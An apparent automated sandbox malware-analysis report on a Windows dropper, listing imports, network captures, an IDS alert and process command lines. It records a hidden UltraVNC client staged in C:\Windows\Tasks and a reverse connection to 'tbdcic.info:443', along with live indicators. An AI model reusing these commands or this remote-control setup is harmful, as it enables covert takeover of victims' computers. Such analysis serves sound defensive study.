RT_ICON	0x21d88	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Russian	Russia	0.12935684647302906
RT_ICON	0x24330	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720	Russian	Russia	0.16553254437869822
RT_ICON	0x25d98	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Russian	Russia	0.21106941838649157
RT_ICON	0x26e40	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Russian	Russia	0.29508196721311475
RT_ICON	0x277c8	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	Russian	Russia	0.33313953488372094
RT_ICON	0x27e80	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Russian	Russia	0.4592198581560284
RT_GROUP_ICON	0x282e8	0x76	data	Russian	Russia	0.7457627118644068
RT_VERSION	0x28360	0x350	data			0.4693396226415094
RT_MANIFEST	0x286b0	0x33c	ASCII text, with CRLF line terminators	English	United States	0.501207729468599

Imports

DLL	Import
COMCTL32.dll
SHELL32.dll	SHGetSpecialFolderPathW, ShellExecuteW, SHGetMalloc, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteExW
GDI32.dll	CreateCompatibleDC, CreateFontIndirectW, DeleteObject, DeleteDC, GetCurrentObject, StretchBlt, GetDeviceCaps, CreateCompatibleBitmap, SelectObject, SetStretchBltMode, GetObjectW
ADVAPI32.dll	FreeSid, AllocateAndInitializeSid, CheckTokenMembership
USER32.dll	GetMenu, SetWindowPos, GetWindowDC, ReleaseDC, CopyImage, GetKeyState, GetWindowRect, ScreenToClient, GetWindowLongW, SetTimer, GetMessageW, DispatchMessageW, KillTimer, DestroyWindow, EndDialog, SendMessageW, wsprintfW, GetClassNameA, GetWindowTextW, GetWindowTextLengthW, GetSysColor, wsprintfA, SetWindowTextW, CreateWindowExW, GetDlgItem, GetClientRect, SetWindowLongW, UnhookWindowsHookEx, SetFocus, GetSystemMetrics, SystemParametersInfoW, ShowWindow, DrawTextW, GetDC, ClientToScreen, GetWindow, DialogBoxIndirectParamW, DrawIconEx, CallWindowProcW, DefWindowProcW, CallNextHookEx, PtInRect, SetWindowsHookExW, LoadImageW, LoadIconW, MessageBeep, EnableWindow, IsWindow, EnableMenuItem, GetSystemMenu, wvsprintfW, CharUpperW, MessageBoxA, GetParent
ole32.dll	CreateStreamOnHGlobal, CoCreateInstance, CoInitialize
OLEAUT32.dll	SysAllocString, VariantClear, OleLoadPicture
KERNEL32.dll	SetFileTime, SetEndOfFile, EnterCriticalSection, DeleteCriticalSection, GetModuleHandleA, LeaveCriticalSection, WaitForMultipleObjects, ReadFile, SetFilePointer, GetFileSize, FormatMessageW, lstrcpyW, LocalFree, IsBadReadPtr, GetSystemDirectoryW, GetCurrentThreadId, SuspendThread, TerminateThread, InitializeCriticalSection, ResetEvent, SetEvent, CreateEventW, GetVersionExW, GetModuleFileNameW, GetCurrentProcess, SetProcessWorkingSetSize, SetCurrentDirectoryW, GetDriveTypeW, CreateFileW, GetCommandLineW, GetStartupInfoW, CreateProcessW, CreateJobObjectW, ResumeThread, AssignProcessToJobObject, CreateIoCompletionPort, SetInformationJobObject, GetQueuedCompletionStatus, GetExitCodeProcess, CloseHandle, SetEnvironmentVariableW, GetTempPathW, GetSystemTimeAsFileTime, lstrlenW, CompareFileTime, SetThreadLocale, FindFirstFileW, DeleteFileW, FindNextFileW, FindClose, RemoveDirectoryW, ExpandEnvironmentStringsW, WideCharToMultiByte, VirtualAlloc, GlobalMemoryStatusEx, lstrcmpW, GetEnvironmentVariableW, lstrcmpiW, lstrlenA, GetLocaleInfoW, MultiByteToWideChar, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetSystemDefaultLCID, lstrcmpiA, GlobalAlloc, GlobalFree, MulDiv, FindResourceExA, SizeofResource, LoadResource, LockResource, LoadLibraryA, ExitProcess, lstrcatW, GetDiskFreeSpaceExW, SetFileAttributesW, SetLastError, Sleep, GetExitCodeThread, WaitForSingleObject, CreateThread, GetLastError, SystemTimeToFileTime, GetLocalTime, GetFileAttributesW, CreateDirectoryW, WriteFile, GetStdHandle, VirtualFree, GetModuleHandleW, GetProcAddress, GetStartupInfoA
MSVCRT.dll	??3@YAXPAX@Z, ??2@YAPAXI@Z, memcmp, free, memcpy, _controlfp, _except_handler3, __set_app_type, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, ??1type_info@@UAE@XZ, _onexit, __dllonexit, _CxxThrowException, _beginthreadex, _EH_prolog, ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z, memset, _wcsnicmp, strncmp, wcsncmp, malloc, memmove, _wtol, _purecall

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T13:39:02.527504+0100	2035893	ET MALWARE Possible Ursnif/Gamaredon Related VNC Module CnC Beacon	1	192.168.2.7	49918	194.190.152.201	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 13:37:54.621855021 CET	49762	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:37:54.621905088 CET	443	49762	194.190.152.201	192.168.2.7
Dec 23, 2024 13:37:54.622064114 CET	49762	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:37:54.622330904 CET	49762	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:37:54.622343063 CET	443	49762	194.190.152.201	192.168.2.7
Dec 23, 2024 13:37:54.622381926 CET	443	49762	194.190.152.201	192.168.2.7
Dec 23, 2024 13:37:54.733014107 CET	49764	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:37:54.733055115 CET	443	49764	194.190.152.201	192.168.2.7
Dec 23, 2024 13:37:54.733122110 CET	49764	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:37:54.733278990 CET	49764	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:37:54.733293056 CET	443	49764	194.190.152.201	192.168.2.7
Dec 23, 2024 13:37:54.733323097 CET	443	49764	194.190.152.201	192.168.2.7
Dec 23, 2024 13:38:05.880995989 CET	49790	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:38:05.881052017 CET	443	49790	194.190.152.201	192.168.2.7
Dec 23, 2024 13:38:05.881278992 CET	49790	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:38:05.881357908 CET	49790	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:38:05.881366968 CET	443	49790	194.190.152.201	192.168.2.7
Dec 23, 2024 13:38:05.881460905 CET	443	49790	194.190.152.201	192.168.2.7
Dec 23, 2024 13:38:29.055135012 CET	49840	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:38:29.055192947 CET	443	49840	194.190.152.201	192.168.2.7
Dec 23, 2024 13:38:29.055327892 CET	49840	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:38:29.055552959 CET	49840	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:38:29.055557966 CET	443	49840	194.190.152.201	192.168.2.7
Dec 23, 2024 13:38:29.055779934 CET	443	49840	194.190.152.201	192.168.2.7
Dec 23, 2024 13:39:02.524259090 CET	49918	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:39:02.524324894 CET	443	49918	194.190.152.201	192.168.2.7
Dec 23, 2024 13:39:02.524431944 CET	49918	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:39:02.524542093 CET	49918	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:39:02.524557114 CET	443	49918	194.190.152.201	192.168.2.7
Dec 23, 2024 13:39:02.524708986 CET	443	49918	194.190.152.201	192.168.2.7
Dec 23, 2024 13:39:02.527503967 CET	49918	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:39:02.527532101 CET	443	49918	194.190.152.201	192.168.2.7
Dec 23, 2024 13:39:47.617419004 CET	49994	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:39:47.617491961 CET	443	49994	194.190.152.201	192.168.2.7
Dec 23, 2024 13:39:47.617597103 CET	49994	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:39:47.617749929 CET	49994	443	192.168.2.7	194.190.152.201
Dec 23, 2024 13:39:47.617767096 CET	443	49994	194.190.152.201	192.168.2.7
Dec 23, 2024 13:39:47.617832899 CET	443	49994	194.190.152.201	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 13:37:48.194267035 CET	60338	53	192.168.2.7	1.1.1.1
Dec 23, 2024 13:37:54.378817081 CET	51165	53	192.168.2.7	1.1.1.1
Dec 23, 2024 13:37:54.516419888 CET	53	51165	1.1.1.1	192.168.2.7
Dec 23, 2024 13:38:11.148245096 CET	51209	53	192.168.2.7	1.1.1.1
Dec 23, 2024 13:38:11.287414074 CET	53	51209	1.1.1.1	192.168.2.7
Dec 23, 2024 13:38:25.547087908 CET	52419	53	192.168.2.7	1.1.1.1
Dec 23, 2024 13:38:25.685323954 CET	53	52419	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 13:37:48.194267035 CET	192.168.2.7	1.1.1.1	0xd1d5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:37:54.378817081 CET	192.168.2.7	1.1.1.1	0xde31	Standard query (0)	tbdcic.info	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:11.148245096 CET	192.168.2.7	1.1.1.1	0xc553	Standard query (0)	tbdcic.info	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:25.547087908 CET	192.168.2.7	1.1.1.1	0x3805	Standard query (0)	tbdcic.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 13:37:48.331319094 CET	1.1.1.1	192.168.2.7	0xd1d5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 13:37:50.119189024 CET	1.1.1.1	192.168.2.7	0xc90e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:37:50.119189024 CET	1.1.1.1	192.168.2.7	0xc90e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:37:54.516419888 CET	1.1.1.1	192.168.2.7	0xde31	No error (0)	tbdcic.info		194.190.152.201	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:11.287414074 CET	1.1.1.1	192.168.2.7	0xc553	No error (0)	tbdcic.info		194.190.152.201	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:25.685323954 CET	1.1.1.1	192.168.2.7	0x3805	No error (0)	tbdcic.info		194.190.152.201	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:37.211575031 CET	1.1.1.1	192.168.2.7	0xfb84	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:37.211575031 CET	1.1.1.1	192.168.2.7	0xfb84	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:50.084583998 CET	1.1.1.1	192.168.2.7	0x658e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:38:50.084583998 CET	1.1.1.1	192.168.2.7	0x658e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:39:14.183649063 CET	1.1.1.1	192.168.2.7	0x3069	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:39:14.183649063 CET	1.1.1.1	192.168.2.7	0x3069	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:39:38.312328100 CET	1.1.1.1	192.168.2.7	0x7b85	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 23, 2024 13:39:38.312328100 CET	1.1.1.1	192.168.2.7	0x7b85	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	07:37:32
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Olz7TmvkEW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Olz7TmvkEW.exe"
Imagebase:	0x400000
File size:	1'641'047 bytes
MD5 hash:	539B0FC32045DE3013D00850827654AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 00000000.00000003.1299009306.0000000002904000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 00000000.00000003.1299366156.000000000062B000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:37:33
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy /y "%CD%\." "%CD%\..\..\..\..\..\..\Windows\Tasks\"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:37:33
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:37:33
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & copy 5482310161066753 5482310161066753.cmd
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:37:33
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:37:34
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:37:34
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:37:34
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 1
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:37:35
Start date:	23/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\Lom.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:37:35
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 1
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:37:36
Start date:	23/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	07:37:36
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /f /im sync_browser.exe
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:37:37
Start date:	23/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1620,i,1244757786394312861,11570424180585682022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	07:37:38
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 2
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:37:41
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 1
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:37:43
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 2
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:37:45
Start date:	23/12/2024
Path:	C:\Windows\Tasks\sync_browser.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Tasks\sync_browser.exe
Imagebase:	0x7ff7e5070000
File size:	1'945'368 bytes
MD5 hash:	749B3A68B9C5325D592822EE7C2C17EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 00000017.00000000.1422085476.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: C:\Windows\Tasks\sync_browser.exe, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	07:37:45
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 8
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:28:56
Start date:	23/12/2024
Path:	C:\Windows\Tasks\sync_browser.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443
Imagebase:	0x7ff7e5070000
File size:	1'945'368 bytes
MD5 hash:	749B3A68B9C5325D592822EE7C2C17EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 0000001A.00000002.1500421713.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 0000001A.00000000.1496705820.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_UltraVNC, Description: Yara detected UltraVNC Hacktool, Source: 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:28:56
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 2
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:28:58
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 4
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:29:02
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 42
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:29:44
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 42
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:30:26
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 42
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:31:08
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 42
Imagebase:	0x240000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	18.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.6%
Total number of Nodes:	1618
Total number of Limit Nodes:	14

Executed Functions

Function 00405721 Relevance: 238.1, APIs: 93, Strings: 42, Instructions: 1811keyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405734

Part of subcall function 00401D21: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405740,?,00000000), ref: 00401D2D
Part of subcall function 00401D21: CreateWindowExW.USER32(00000000,Static,004154C8,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00401D4A
Part of subcall function 00401D21: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00401D5C
Part of subcall function 00401D21: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00401D69
Part of subcall function 00401D21: DispatchMessageW.USER32(?), ref: 00401D73
Part of subcall function 00401D21: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405740,?,00000000), ref: 00401D7C
Part of subcall function 00401D21: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405740,?,00000000), ref: 00401D83

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405751
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 004057E2

Part of subcall function 00402DD6: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405802,00000000), ref: 00402E49
Part of subcall function 00402DD6: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405802), ref: 00402E64
Part of subcall function 00402DD6: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?), ref: 00402E6C
Part of subcall function 00402DD6: ??3@YAXPAX@Z.MSVCRT(00405802,00405802,00000000,00000020,?,?,?,?,?,?,?,?,?,00405802,00000000,00000000), ref: 00402EDC

Part of subcall function 004043F8: lstrlenW.KERNEL32(00405815,00000000,00000020,-00000002,00405815,-00000002,00000000,00000000,00000000), ref: 0040442C
Part of subcall function 004043F8: lstrlenW.KERNEL32(?), ref: 00404434

_wtol.MSVCRT ref: 00405825
??3@YAXPAX@Z.MSVCRT(00000000,?,00000000,00419858,00419858), ref: 00405877
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00419858,00419858), ref: 0040588B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00419858,00419858), ref: 00405893
GetModuleFileNameW.KERNEL32(00000000,00000208,00000000,00000000), ref: 00405909
_wtol.MSVCRT ref: 00405A25
??2@YAPAXI@Z.MSVCRT(00000010,00000000,00419858,00419858), ref: 00405BAD
??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,00419858,00419858), ref: 00405C30
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,00419858,00419858), ref: 00405CA6
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00419858,00419858), ref: 00405CC2
??3@YAXPAX@Z.MSVCRT(?,00000000,00419858,00419858), ref: 00405D00
wsprintfW.USER32 ref: 00405D2A

